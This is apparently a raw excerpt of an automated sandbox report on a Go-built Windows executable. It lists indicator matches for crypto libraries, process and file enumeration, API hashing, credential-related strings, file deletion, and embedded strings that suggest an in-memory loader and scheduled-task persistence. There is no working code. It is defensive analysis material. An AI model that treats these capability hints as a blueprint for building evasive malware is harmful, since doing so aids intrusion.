string "*aes.block" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "*aes.KeySizeError" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "*aes.blockExpanded" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "crypto/internal/fips140/aes" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "crypto/internal/fips140/aes/gcm" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string ""*chacha20poly1305.chacha20poly1305" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "$golang.org/x/crypto/chacha20poly1305" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), file/memory contains long string with (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), file/memory contains long string with (Indicator: "3des"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), file/memory contains long string with (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), file/memory contains long string with (Indicator: ".decrypt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "runtime.initAlgAES" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found string "aeshashbody" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe")77:Tf65,file/memory contains long string with (Indicator: "FindFirstFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FindNextFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.FindFirstFile" (Indicator: "FindFirstFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstFileExAFindFirstFileExWFindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstFileNameTransactedW" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindActCtxSectionStringAFindActCtxSectionStringWFindFirstFileNameW" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstFileTransactedAFindFirstFileTransactedWFindNextFileNameW" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstFileTransactedAFindFirstFileTransactedWFindNextFileNameW" (Indicator: "FindNextFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "FindFirstFileNameW" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "FindFirstFileTransactedA" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "FindFirstFileTransactedW" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "FindNextFileNameW" (Indicator: "FindNextFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")78:T149f,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "Thread32Next"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "Module32Next"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "Process32Next"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "EnumProcesses"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "Thread32First"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "Module32First"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "Process32First"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "EnumProcessModules"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "QueryInformationProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetModuleHandleAGetModuleHandleWGetNLSVersion" (Indicator: "GetModuleHandle"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetCurrentProcessorNumberEx" (Indicator: "GetCurrentProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateToolhelp32SnapshotCreateUmsCompletionList" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetConsoleProcessList" (Indicator: "ProcessList"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")79:T6a1,file/memory contains long string with (Indicator: "GetModuleHandle"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetModuleHandleAGetModuleHandleWGetNLSVersion" (Indicator: "GetModuleHandle"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetModuleHandleExA" (Indicator: "GetModuleHandle"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")7a:T650,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetProcAddress"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/apihash.GetProcAddressByHash" (Indicator: "GetProcAddress"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/apihash.GetProcAddressByHash.func1" (Indicator: "GetProcAddress"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetPriorityClassGetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")7b:T1180,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetTempPath"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetFileSize"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSystemDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetFileVersionInfo"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetFileVersionInfoSize"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.GetSystemDirectory" (Indicator: "GetSystemDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetFileAttributesEx" (Indicator: "GetFileAttributes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetFileAttributes" (Indicator: "GetFileAttributes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetTempPath" (Indicator: "GetTempPath"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.GetTempPath2" (Indicator: "GetTempPath"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "os.newFileStatFromGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "golang.org/x/sys/windows.GetSystemDirectory" (Indicator: "GetSystemDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp")7c:T5ca,file/memory contains long string with (Indicator: "GetComputerName"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetComputerNameAGetComputerNameWGetConsoleAliasAGetConsoleAliasWGetConsoleCP" (Indicator: "GetComputerName"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "BasepGetComputerNameFromNtPath" (Indicator: "GetComputerName"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetComputerNameExA" (Indicator: "GetComputerName"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetComputerNameExW" (Indicator: "GetComputerName"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetComputerNameA" (Indicator: "GetComputerName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetComputerNameW" (Indicator: "GetComputerName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")7d:T504,file/memory contains long string with (Indicator: "GetModuleFileName"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.GetModuleFileName" (Indicator: "GetModuleFileName"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetMaximumProcessorCountGetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")7e:T402,file/memory contains long string with (Indicator: "GetEnvironmentVariable"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetEnvironmentVariable" (Indicator: "GetEnvironmentVariable"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetEnvironmentVariableW" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "GetEnvironmentVariableW" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetEnvironmentVariableA" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")7f:T40b,file/memory contains long string with (Indicator: "GetTickCount"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")80:T8f2,Found string "secret" (Indicator: "secret"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.B47D0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.B48B0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.B48B0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.B48B0000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.B4940000.00000004.mdmp, 00000000-00001336.00000001.108809.B4940000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.B4940000.00000004.mdmp, 00000000-00001336.00000001.108809.B4940000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.F58F0000.00000004.mdmp, 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.F58F0000.00000004.mdmp, 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00001336.00000000.107993.F58F0000.00000004.mdmp, 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00001336.00000001.108809.B47F0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00001336.00000001.108809.B47F0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00001336.00000001.108809.B4810000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00001336.00000001.108809.B4810000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00001336.00000001.108809.B4870000.00000004.mdmp")81:T672,"regeneratinglimiterEvent.stop: invalid limiter event type foundpotentially overlapping in-use allocations detectedruntime: netpoll: PostQueuedCompletionStatus failedfatal: systemstack called from unexpected goroutine[version]Signature=$chicago$AdvancedINF=2.5memload: allocated private image @ 0x%X (size 0x%X)SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallgodebug: Value of name not listed in godebugs.All: Runtime purge: removed=%d skipped=%d (locked/in use)File-based: using name %q (original: %q sideload=%v)taskcom: folder \%s unavailable" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe "PE must load at preferred ImageBase 0x%X (stomped base may differ)cgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.crypto/cipher: use of GCM with arbitrary IVs is not allowed in FIPS 140-only mode, use NewGCMWithRandomNonceinternal/sync.HashTrieMap: ran out of hash bits while inserting (incorrect use of unsafe or cgo, or data race?)Scheduled Task: look in folders \Google\Update \Adobe \OneDrive \MicrosoftEdge\Update \BraveSoftware\Update (or \)"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe82:T75b,file/memory contains long string with (Indicator: "DeleteFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "RemoveDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.DeleteFile" (Indicator: "DeleteFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.RemoveDirectory" (Indicator: "RemoveDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to 